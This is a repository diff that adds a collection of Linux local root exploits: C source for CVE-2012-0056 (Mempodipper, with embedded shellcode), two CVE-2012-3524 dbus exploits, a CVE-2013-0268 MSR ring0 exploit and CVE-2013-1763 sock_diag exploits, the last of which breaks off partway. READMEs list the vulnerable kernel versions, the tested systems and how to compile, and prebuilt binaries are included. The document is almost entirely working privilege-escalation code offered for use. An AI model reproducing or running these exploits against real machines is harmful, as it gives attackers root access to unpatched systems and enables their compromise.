* Linux Local Root Exploit
|
||||
*
|
||||
* Rather than put my write up here, per usual, this time I've put it
|
||||
* in a rather lengthy blog post: http://blog.zx2c4.com/749
|
||||
*
|
||||
* Enjoy.
|
||||
*
|
||||
* - zx2c4
|
||||
* Jan 21, 2012
|
||||
*
|
||||
* CVE-2012-0056
|
||||
*/
|
||||
|
||||
#define _LARGEFILE64_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <limits.h>
|
||||
|
||||
char *socket_path = "/tmp/.sockpuppet";
|
||||
int send_fd(int fd)
|
||||
{
|
||||
char buf[1];
|
||||
struct iovec iov;
|
||||
struct msghdr msg;
|
||||
struct cmsghdr *cmsg;
|
||||
struct sockaddr_un addr;
|
||||
int n;
|
||||
int sock;
|
||||
char cms[CMSG_SPACE(sizeof(int))];
|
||||
|
||||
if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
|
||||
return -1;
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sun_family = AF_UNIX;
|
||||
strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
|
||||
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0)
|
||||
return -1;
|
||||
|
||||
buf[0] = 0;
|
||||
iov.iov_base = buf;
|
||||
iov.iov_len = 1;
|
||||
|
||||
memset(&msg, 0, sizeof msg);
|
||||
msg.msg_iov = &iov;
|
||||
msg.msg_iovlen = 1;
|
||||
msg.msg_control = (caddr_t)cms;
|
||||
msg.msg_controllen = CMSG_LEN(sizeof(int));
|
||||
|
||||
cmsg = CMSG_FIRSTHDR(&msg);
|
||||
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
|
||||
cmsg->cmsg_level = SOL_SOCKET;
|
||||
cmsg->cmsg_type = SCM_RIGHTS;
|
||||
memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
|
||||
|
||||
if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
|
||||
return -1;
|
||||
close(sock);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int recv_fd()
|
||||
{
|
||||
int listener;
|
||||
int sock;
|
||||
int n;
|
||||
int fd;
|
||||
char buf[1];
|
||||
struct iovec iov;
|
||||
struct msghdr msg;
|
||||
struct cmsghdr *cmsg;
|
||||
struct sockaddr_un addr;
|
||||
char cms[CMSG_SPACE(sizeof(int))];
|
||||
|
||||
if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
|
||||
return -1;
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sun_family = AF_UNIX;
|
||||
strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
|
||||
unlink(socket_path);
|
||||
if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0)
|
||||
return -1;
|
||||
if (listen(listener, 1) < 0)
|
||||
return -1;
|
||||
if ((sock = accept(listener, NULL, NULL)) < 0)
|
||||
return -1;
|
||||
|
||||
iov.iov_base = buf;
|
||||
iov.iov_len = 1;
|
||||
|
||||
memset(&msg, 0, sizeof msg);
|
||||
msg.msg_name = 0;
|
||||
msg.msg_namelen = 0;
|
||||
msg.msg_iov = &iov;
|
||||
msg.msg_iovlen = 1;
|
||||
|
||||
msg.msg_control = (caddr_t)cms;
|
||||
msg.msg_controllen = sizeof cms;
|
||||
|
||||
if ((n = recvmsg(sock, &msg, 0)) < 0)
|
||||
return -1;
|
||||
if (n == 0)
|
||||
return -1;
|
||||
cmsg = CMSG_FIRSTHDR(&msg);
|
||||
memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
|
||||
close(sock);
|
||||
close(listener);
|
||||
return fd;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
|
||||
char parent_mem[256];
|
||||
sprintf(parent_mem, "/proc/%s/mem", argv[2]);
|
||||
printf("[+] Opening parent mem %s in child.\n", parent_mem);
|
||||
int fd = open(parent_mem, O_RDWR);
|
||||
if (fd < 0) {
|
||||
perror("[-] open");
|
||||
return 1;
|
||||
}
|
||||
printf("[+] Sending fd %d to parent.\n", fd);
|
||||
send_fd(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("===============================\n");
|
||||
printf("= Mempodipper =\n");
|
||||
printf("= by zx2c4 =\n");
|
||||
printf("= Jan 21, 2012 =\n");
|
||||
printf("===============================\n\n");
|
||||
|
||||
int parent_pid = getpid();
|
||||
if (fork()) {
|
||||
printf("[+] Waiting for transferred fd in parent.\n");
|
||||
int fd = recv_fd();
|
||||
printf("[+] Received fd at %d.\n", fd);
|
||||
if (fd < 0) {
|
||||
perror("[-] recv_fd");
|
||||
return -1;
|
||||
}
|
||||
printf("[+] Assigning fd %d to stderr.\n", fd);
|
||||
dup2(2, 6);
|
||||
dup2(fd, 2);
|
||||
|
||||
unsigned long address;
|
||||
if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
|
||||
address = strtoul(argv[2], NULL, 16);
|
||||
else {
|
||||
printf("[+] Reading su for exit@plt.\n");
|
||||
// Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
|
||||
FILE *command = popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
|
||||
char result[32];
|
||||
result[0] = 0;
|
||||
fgets(result, 32, command);
|
||||
pclose(command);
|
||||
address = strtoul(result, NULL, 16);
|
||||
if (address == ULONG_MAX || !address) {
|
||||
printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
|
||||
printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
|
||||
return 1;
|
||||
}
|
||||
printf("[+] Resolved exit@plt to 0x%lx.\n", address);
|
||||
}
|
||||
printf("[+] Calculating su padding.\n");
|
||||
FILE *command = popen("su this-user-does-not-exist 2>&1", "r");
|
||||
char result[256];
|
||||
result[0] = 0;
|
||||
fgets(result, 256, command);
|
||||
pclose(command);
|
||||
unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
|
||||
unsigned long offset = address - su_padding;
|
||||
printf("[+] Seeking to offset 0x%lx.\n", offset);
|
||||
lseek64(fd, offset, SEEK_SET);
|
||||
|
||||
#if defined(__i386__)
|
||||
// See shellcode-32.s in this package for the source.
|
||||
char shellcode[] =
|
||||
"\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
|
||||
"\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
|
||||
"\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
|
||||
"\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
|
||||
"\x80";
|
||||
#elif defined(__x86_64__)
|
||||
// See shellcode-64.s in this package for the source.
|
||||
char shellcode[] =
|
||||
"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
|
||||
"\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
|
||||
"\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
|
||||
"\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
|
||||
"\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
|
||||
|
||||
#else
|
||||
#error "That platform is not supported."
|
||||
#endif
|
||||
printf("[+] Executing su with shellcode.\n");
|
||||
execl("/bin/su", "su", shellcode, NULL);
|
||||
} else {
|
||||
char pid[32];
|
||||
sprintf(pid, "%d", parent_pid);
|
||||
printf("[+] Executing child from child fork.\n");
|
||||
execl("/proc/self/exe", argv[0], "-c", pid, NULL);
|
||||
}
|
||||
}
|
18
98-Linux提权/2012/CVE-2012-0056/README.md
Normal file
18
98-Linux提权/2012/CVE-2012-0056/README.md
Normal file
@ -0,0 +1,18 @@
|
||||
# CVE-2012-0056
|
||||
|
||||
CVE-2012-0056
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2012-0056](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2012-0056)
|
||||
* [exp-db](http://www.exploit-db.com/exploits/18411/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.39, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0
|
||||
```
|
||||
|
||||
### This binary has been verified on:
|
||||
- Ubuntu 11.10 - 3.0.0-12-generic-pae #20-Ubuntu x86_32
|
||||
- Ubuntu 11.10 - 3.0.0-12-server #20-Ubuntu x86_64
|
||||
|
||||
|
BIN
98-Linux提权/2012/CVE-2012-0056/memodipper
Normal file
BIN
98-Linux提权/2012/CVE-2012-0056/memodipper
Normal file
Binary file not shown.
BIN
98-Linux提权/2012/CVE-2012-0056/memodipper64
Normal file
BIN
98-Linux提权/2012/CVE-2012-0056/memodipper64
Normal file
Binary file not shown.
23
98-Linux提权/2012/CVE-2012-3524/README.md
Normal file
23
98-Linux提权/2012/CVE-2012-3524/README.md
Normal file
@ -0,0 +1,23 @@
|
||||
# CVE-2012-3524
|
||||
```
|
||||
libdbus 1.5.x and earlier,
|
||||
when used in setuid or other privileged programs in X.org and possibly other products,
|
||||
allows local users to gain privileges and execute arbitrary code via the DBUS_SYSTEM_BUS_ADDRESS environment variable.
|
||||
NOTE: libdbus maintainers state that this is a vulnerability in the applications that do not cleanse environment variables,
|
||||
not in libdbus itself: "we do not support use of libdbus in setuid binaries that do not sanitize their environment before their first call into libdbus."
|
||||
```
|
||||
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2012-3524](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3524)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/21323/)
|
||||
|
||||
## libdbus
|
||||
```
|
||||
1.5.x and earlier
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
BIN
98-Linux提权/2012/CVE-2012-3524/dd
Normal file
BIN
98-Linux提权/2012/CVE-2012-3524/dd
Normal file
Binary file not shown.
115
98-Linux提权/2012/CVE-2012-3524/dd.c
Normal file
115
98-Linux提权/2012/CVE-2012-3524/dd.c
Normal file
@ -0,0 +1,115 @@
|
||||
/* CVE-2012-3524 PoC (C) 2012 Sebastian Krahmer
|
||||
*
|
||||
* edited by Pashkela for RDOT.ORG (23.01.2013)
|
||||
*
|
||||
* su auto vector (need tty + current user password)
|
||||
*
|
||||
* Trivial non-dbus root exploit. (Yes, it is 2012!)
|
||||
*
|
||||
* The underlying bug (insecure getenv() by default) has been
|
||||
* reported ages ago, but nobody really cared. Unless you have an
|
||||
* exploit...
|
||||
* ==============================================================
|
||||
* Ubuntu 9.04
|
||||
*
|
||||
* an@an-desktop:~$ uname -a
|
||||
* Linux an-desktop 2.6.28-11-generic #42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009 i686 GNU/Linux
|
||||
* an@an-desktop:~$ gcc s.c -o s
|
||||
* an@an-desktop:~$ id
|
||||
* uid=1000(an) gid=1000(an) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(an)
|
||||
* an@an-desktop:~$ ./s
|
||||
* [**] CVE-2012-3524 xSports -- this is not a dbus exploit!
|
||||
*
|
||||
*[*] Preparing ...
|
||||
*[+] Type current user passwd when asked
|
||||
*[*] Waiting 10s for dbus-launch to drop boomshell.
|
||||
* Password: .......
|
||||
* bash: [+] GOT root!: No such file or directory
|
||||
* ...
|
||||
* [!] Hurra!
|
||||
* bash-3.2# id
|
||||
* uid=0(root) gid=1000(an) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(an)
|
||||
* bash-3.2#
|
||||
* ==============================================================
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/signal.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int i = 0;
|
||||
struct stat st;
|
||||
pid_t pid = 0;
|
||||
char *env[] = {
|
||||
"PATH=/tmp:/usr/bin:/usr/sbin:/sbin:/bin",
|
||||
"DBUS_STARTER_BUS_TYPE=system",
|
||||
"DBUS_SYSTEM_BUS_ADDRESS=autolaunch:",
|
||||
NULL,
|
||||
NULL
|
||||
};
|
||||
|
||||
|
||||
char *su[] = {"/bin/su",NULL,"[+] GOT root!", NULL};
|
||||
|
||||
char **a = su;
|
||||
char *dbus[] = {"/tmp/dbus-launch", NULL};
|
||||
char *sh[] = {"/bin/bash", "--noprofile", "--norc", NULL};
|
||||
char me[0x1000];
|
||||
|
||||
if (geteuid() == 0 && argc > 1) {
|
||||
chown("/tmp/dbus-launch", 0, 0);
|
||||
chmod("/tmp/dbus-launch", 04755);
|
||||
exit(errno);
|
||||
} else if (geteuid() == 0) {
|
||||
setuid(0);
|
||||
execve(*sh, sh, NULL);
|
||||
return errno;
|
||||
}
|
||||
|
||||
printf("[**] CVE-2012-3524 xSports -- this is not a dbus exploit!\n\n[*] Preparing ...\n");
|
||||
memset(me, 0, sizeof(me));
|
||||
|
||||
if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0) {
|
||||
/* Solaris */
|
||||
readlink("/proc/self/path/a.out", me, sizeof(me) - 1);
|
||||
}
|
||||
symlink(me, "/tmp/dbus-launch");
|
||||
printf("[+] Type current user passwd when asked\n");
|
||||
env[3] = "DISPLAY=:7350";
|
||||
su[1] = getenv("USER");
|
||||
a = su;
|
||||
|
||||
if ((pid = fork()) == 0) {
|
||||
execve(*a, a, env);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
printf("[*] Waiting 10s for dbus-launch to drop boomshell.\n");
|
||||
|
||||
for (i = 0; i < 10; ++i) {
|
||||
sleep(1);
|
||||
printf("."); fflush(stdout);
|
||||
}
|
||||
kill(pid, SIGKILL);
|
||||
waitpid(pid, NULL, 0);
|
||||
|
||||
for (;;) {
|
||||
stat(*dbus, &st);
|
||||
if ((st.st_mode & 04755) == 04755)
|
||||
break;
|
||||
sleep(1);
|
||||
}
|
||||
printf("\n[!] Hurra!\n");
|
||||
|
||||
execve(*dbus, dbus, NULL);
|
||||
return errno;
|
||||
}
|
BIN
98-Linux提权/2012/CVE-2012-3524/dzug
Normal file
BIN
98-Linux提权/2012/CVE-2012-3524/dzug
Normal file
Binary file not shown.
115
98-Linux提权/2012/CVE-2012-3524/dzug.c
Normal file
115
98-Linux提权/2012/CVE-2012-3524/dzug.c
Normal file
@ -0,0 +1,115 @@
|
||||
/* dzug.c CVE-2012-3524 PoC (C) 2012 Sebastian Krahmer
|
||||
*
|
||||
* Trivial non-dbus root exploit. (Yes, it is 2012!)
|
||||
*
|
||||
* The underlying bug (insecure getenv() by default) has been
|
||||
* reported ages ago, but nobody really cared. Unless you have an
|
||||
* exploit...
|
||||
*
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/signal.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int i = 0;
|
||||
struct stat st;
|
||||
pid_t pid = 0;
|
||||
char *env[] = {
|
||||
"PATH=/tmp:/usr/bin:/usr/sbin:/sbin:/bin",
|
||||
"DBUS_STARTER_BUS_TYPE=system",
|
||||
"DBUS_SYSTEM_BUS_ADDRESS=autolaunch:",
|
||||
NULL,
|
||||
NULL
|
||||
};
|
||||
|
||||
|
||||
/* the pam_systemd vector */
|
||||
char *su[] = {"/bin/su", NULL, "blah", NULL};
|
||||
|
||||
/* the spice vector */
|
||||
char *spice[] = {"/usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper", NULL};
|
||||
|
||||
/* the Xorg vector, for older Linux dists and Solaris */
|
||||
char *xorg[] = {"/usr/bin/Xorg", ":7350", NULL};
|
||||
|
||||
char **a = xorg;
|
||||
char *dbus[] = {"/tmp/dbus-launch", NULL};
|
||||
char *sh[] = {"/bin/bash", "--noprofile", "--norc", NULL};
|
||||
char me[0x1000];
|
||||
|
||||
if (geteuid() == 0 && argc > 1) {
|
||||
chown("/tmp/dbus-launch", 0, 0);
|
||||
chmod("/tmp/dbus-launch", 04755);
|
||||
exit(errno);
|
||||
} else if (geteuid() == 0) {
|
||||
setuid(0);
|
||||
execve(*sh, sh, NULL);
|
||||
return errno;
|
||||
}
|
||||
|
||||
printf("[**] CVE-2012-3524 xSports -- this is not a dbus exploit!\n\n[*] Preparing ...\n");
|
||||
memset(me, 0, sizeof(me));
|
||||
|
||||
if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0) {
|
||||
/* Solaris */
|
||||
readlink("/proc/self/path/a.out", me, sizeof(me) - 1);
|
||||
}
|
||||
symlink(me, "/tmp/dbus-launch");
|
||||
|
||||
if (stat(spice[0], &st) == 0) {
|
||||
if ((st.st_mode & 04000) == 04000) {
|
||||
printf("[+] Using spice helper ...\n");
|
||||
a = spice;
|
||||
}
|
||||
} else if (stat("/lib64/security/pam_systemd.so", &st) == 0) {
|
||||
printf("[+] Using pam_systemd helper (type user passwd when asked) ...\n");
|
||||
env[3] = "DISPLAY=:7350";
|
||||
su[1] = getenv("USER");
|
||||
a = su;
|
||||
} else if (stat(xorg[0], &st) == 0) {
|
||||
if ((st.st_mode & 04000) == 04000)
|
||||
printf("[+] Using Xorg helper ...\n");
|
||||
else {
|
||||
printf("[-] No suitable suid helper found.\n");
|
||||
exit(0);
|
||||
}
|
||||
} else {
|
||||
printf("[-] No suitable suid helper found.\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if ((pid = fork()) == 0) {
|
||||
execve(*a, a, env);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
printf("[*] Waiting 10s for dbus-launch to drop boomshell.\n");
|
||||
|
||||
for (i = 0; i < 10; ++i) {
|
||||
sleep(1);
|
||||
printf("."); fflush(stdout);
|
||||
}
|
||||
kill(pid, SIGKILL);
|
||||
waitpid(pid, NULL, 0);
|
||||
|
||||
for (;;) {
|
||||
stat(*dbus, &st);
|
||||
if ((st.st_mode & 04755) == 04755)
|
||||
break;
|
||||
sleep(1);
|
||||
}
|
||||
printf("\n[!] Hurra!\n");
|
||||
|
||||
execve(*dbus, dbus, NULL);
|
||||
return errno;
|
||||
}
|
171
98-Linux提权/2013/CVE-2013-0268/27297.c
Normal file
171
98-Linux提权/2013/CVE-2013-0268/27297.c
Normal file
@ -0,0 +1,171 @@
|
||||
// PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host
|
||||
// can do whatever in the commented area, re-enable module support, etc
|
||||
// requires CONFIG_X86_MSR and just uid 0
|
||||
// a small race exists between the time when the MSR is written to the first
|
||||
// time and when we issue our sysenter
|
||||
// we additionally require CAP_SYS_NICE to make the race win nearly guaranteed
|
||||
// configured to take a hex arg of a dword pointer to set to 0
|
||||
// (modules_disabled, selinux_enforcing, take your pick)
|
||||
//
|
||||
// Hello to Red Hat, who has shown yet again to not care until a
|
||||
// public exploit is released. Not even a bugtraq entry existed in
|
||||
// their system until this was published -- and they have a paid team
|
||||
// of how many?
|
||||
// It's not as if I didn't mention the problem and existence of an easy
|
||||
// exploit multiple times prior:
|
||||
// https://twitter.com/grsecurity/status/298977370776432640
|
||||
// https://twitter.com/grsecurity/status/297365303095078912
|
||||
// https://twitter.com/grsecurity/status/297189488638181376
|
||||
// https://twitter.com/grsecurity/status/297030133628416000
|
||||
// https://twitter.com/grsecurity/status/297029470072745984
|
||||
// https://twitter.com/grsecurity/status/297028324134359041
|
||||
//
|
||||
// spender 2013
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <sched.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#define SYSENTER_EIP_MSR 0x176
|
||||
|
||||
u_int64_t msr;
|
||||
|
||||
unsigned long ourstack[65536];
|
||||
|
||||
u_int64_t payload_data[16];
|
||||
|
||||
extern void *_ring0;
|
||||
extern void *_ring0_end;
|
||||
|
||||
void ring0(void)
|
||||
{
|
||||
__asm volatile(".globl _ring0\n"
|
||||
"_ring0:\n"
|
||||
".intel_syntax noprefix\n"
|
||||
".code64\n"
|
||||
// set up stack pointer with 'ourstack'
|
||||
"mov esp, ecx\n"
|
||||
// save registers, contains the original MSR value
|
||||
"push rax\n"
|
||||
"push rbx\n"
|
||||
"push rcx\n"
|
||||
"push rdx\n"
|
||||
// play with the kernel here with interrupts disabled!
|
||||
"mov rcx, qword ptr [rbx+8]\n"
|
||||
"test rcx, rcx\n"
|
||||
"jz skip_write\n"
|
||||
"mov dword ptr [rcx], 0\n"
|
||||
"skip_write:\n"
|
||||
// restore MSR value before returning
|
||||
"mov ecx, 0x176\n" // SYSENTER_EIP_MSR
|
||||
"mov eax, dword ptr [rbx]\n"
|
||||
"mov edx, dword ptr [rbx+4]\n"
|
||||
"wrmsr\n"
|
||||
"pop rdx\n"
|
||||
"pop rcx\n"
|
||||
"pop rbx\n"
|
||||
"pop rax\n"
|
||||
"sti\n"
|
||||
"sysexit\n"
|
||||
".code32\n"
|
||||
".att_syntax prefix\n"
|
||||
".global _ring0_end\n"
|
||||
"_ring0_end:\n"
|
||||
);
|
||||
}
|
||||
|
||||
unsigned long saved_stack;
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
cpu_set_t set;
|
||||
int msr_fd;
|
||||
int ret;
|
||||
u_int64_t new_msr;
|
||||
struct sched_param sched;
|
||||
u_int64_t resolved_addr = 0ULL;
|
||||
|
||||
if (argc == 2)
|
||||
resolved_addr = strtoull(argv[1], NULL, 16);
|
||||
|
||||
/* can do this without privilege */
|
||||
mlock(_ring0, (unsigned long)_ring0_end - (unsigned long)_ring0);
|
||||
mlock(&payload_data, sizeof(payload_data));
|
||||
|
||||
CPU_ZERO(&set);
|
||||
CPU_SET(0, &set);
|
||||
|
||||
sched.sched_priority = 99;
|
||||
|
||||
ret = sched_setscheduler(0, SCHED_FIFO, &sched);
|
||||
if (ret) {
|
||||
fprintf(stderr, "Unable to set priority.\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
ret = sched_setaffinity(0, sizeof(cpu_set_t), &set);
|
||||
if (ret) {
|
||||
fprintf(stderr, "Unable to set affinity.\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
msr_fd = open("/dev/cpu/0/msr", O_RDWR);
|
||||
if (msr_fd < 0) {
|
||||
msr_fd = open("/dev/msr0", O_RDWR);
|
||||
if (msr_fd < 0) {
|
||||
fprintf(stderr, "Unable to open /dev/cpu/0/msr\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
|
||||
ret = read(msr_fd, &msr, sizeof(msr));
|
||||
if (ret != sizeof(msr)) {
|
||||
fprintf(stderr, "Unable to read /dev/cpu/0/msr\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// stuff some addresses in a buffer whose address we
|
||||
// pass to the "kernel" via register
|
||||
payload_data[0] = msr;
|
||||
payload_data[1] = resolved_addr;
|
||||
|
||||
printf("Old SYSENTER_EIP_MSR = %016llx\n", msr);
|
||||
fflush(stdout);
|
||||
|
||||
lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
|
||||
new_msr = (u_int64_t)(unsigned long)&_ring0;
|
||||
|
||||
printf("New SYSENTER_EIP_MSR = %016llx\n", new_msr);
|
||||
fflush(stdout);
|
||||
|
||||
ret = write(msr_fd, &new_msr, sizeof(new_msr));
|
||||
if (ret != sizeof(new_msr)) {
|
||||
fprintf(stderr, "Unable to modify /dev/cpu/0/msr\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
__asm volatile(
|
||||
".intel_syntax noprefix\n"
|
||||
".code32\n"
|
||||
"mov saved_stack, esp\n"
|
||||
"lea ecx, ourstack\n"
|
||||
"lea edx, label2\n"
|
||||
"lea ebx, payload_data\n"
|
||||
"sysenter\n"
|
||||
"label2:\n"
|
||||
"mov esp, saved_stack\n"
|
||||
".att_syntax prefix\n"
|
||||
);
|
||||
|
||||
printf("Success.\n");
|
||||
|
||||
return 0;
|
||||
}
|
18
98-Linux提权/2013/CVE-2013-0268/README.md
Normal file
18
98-Linux提权/2013/CVE-2013-0268/README.md
Normal file
@ -0,0 +1,18 @@
|
||||
# CVE-2013-0268
|
||||
|
||||
CVE-2013-0268
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2013-0268](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-0268)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/27297/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36, 2.6.37, 2.6.38, 2.6.39, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.0.6, 3.1.0, 3.2, 3.3, 3.4, 3.5, 3.6, 3.7.0, 3.7.6
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc msr.c -o msr
|
||||
$ ./msr
|
||||
```
|
60
98-Linux提权/2013/CVE-2013-1763/24555.c
Normal file
60
98-Linux提权/2013/CVE-2013-1763/24555.c
Normal file
@ -0,0 +1,60 @@
|
||||
// archer.c
|
||||
//
|
||||
// 2012 sd@fucksheep.org
|
||||
//
|
||||
// Works reliably against x86-64 3.3-3.7 arch.
|
||||
//
|
||||
// Tested against:
|
||||
//
|
||||
// Linux XXX 3.3.1-1-ARCH #1 SMP PREEMPT Tue Apr 3 06:46:17 UTC 2012 x86_64 GNU/Linux
|
||||
// Linux XXX 3.4.7-1-ARCH #1 SMP PREEMPT Sun Jul 29 22:02:56 CEST 2012 x86_64 GNU/Linux
|
||||
// Linux XXX 3.7.4-1-ARCH #1 SMP PREEMPT Mon Jan 21 23:05:29 CET 2013 x86_64 GNU/Linux
|
||||
// ...
|
||||
|
||||
#include <assert.h>
|
||||
|
||||
#define JUMP 0x0000100000001000LL
|
||||
#define BASE 0x380000000
|
||||
#define SIZE 0x010000000
|
||||
#define KSIZE 0x2000000
|
||||
|
||||
static long ugid;
|
||||
|
||||
void patch_current() {
|
||||
int i,j,k;
|
||||
char *current = *(char**)(((long)&i) & (-8192));
|
||||
long kbase = ((long)current)>>36;
|
||||
|
||||
for (i=0; i<4000; i+=4) {
|
||||
long *p = (void *)¤t[i];
|
||||
int *t = (void*) p[0];
|
||||
if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
|
||||
for (j=0; j<20; j++) {
|
||||
for (k = 0; k < 8; k++)
|
||||
if (((int*)&ugid)[k%2] != t[j+k]) goto next;
|
||||
for (i = 0; i < 8; i++) t[j+i] = 0;
|
||||
for (i = 0; i < 10; i++) t[j+9+i] = -1;
|
||||
return;
|
||||
next:; }
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int main()
|
||||
{
|
||||
long u = getuid();
|
||||
long g = getgid();
|
||||
int i, f = socket(16,3,4);
|
||||
static int n[10] = {40,0x10014,0,0,45,-1};
|
||||
|
||||
assert(mmap((void*)(1<<12), 1<<20, 3, 0x32, 0, 0)!=-1);
|
||||
|
||||
setresuid(u,u,u); setresgid(g,g,g);
|
||||
ugid = (g<<32)|u;
|
||||
|
||||
memcpy(1<<12, &patch_current, 1024);
|
||||
for (i = 0; i < (1<<17); i++) ((void**)(1<<12))[i] = &patch_current;
|
||||
send(f, n, sizeof(n), 0);
|
||||
setuid(0);
|
||||
return execl("/bin/bash", "-sh", 0);
|
||||
}
|
75
98-Linux提权/2013/CVE-2013-1763/24746.c
Normal file
75
98-Linux提权/2013/CVE-2013-1763/24746.c
Normal file
@ -0,0 +1,75 @@
|
||||
#include <unistd.h>
|
||||
#include <sys/socket.h>
|
||||
#include <linux/netlink.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <errno.h>
|
||||
#include <linux/if.h>
|
||||
#include <linux/filter.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <linux/sock_diag.h>
|
||||
#include <linux/inet_diag.h>
|
||||
#include <linux/unix_diag.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
unsigned long sock_diag_handlers, nl_table;
|
||||
|
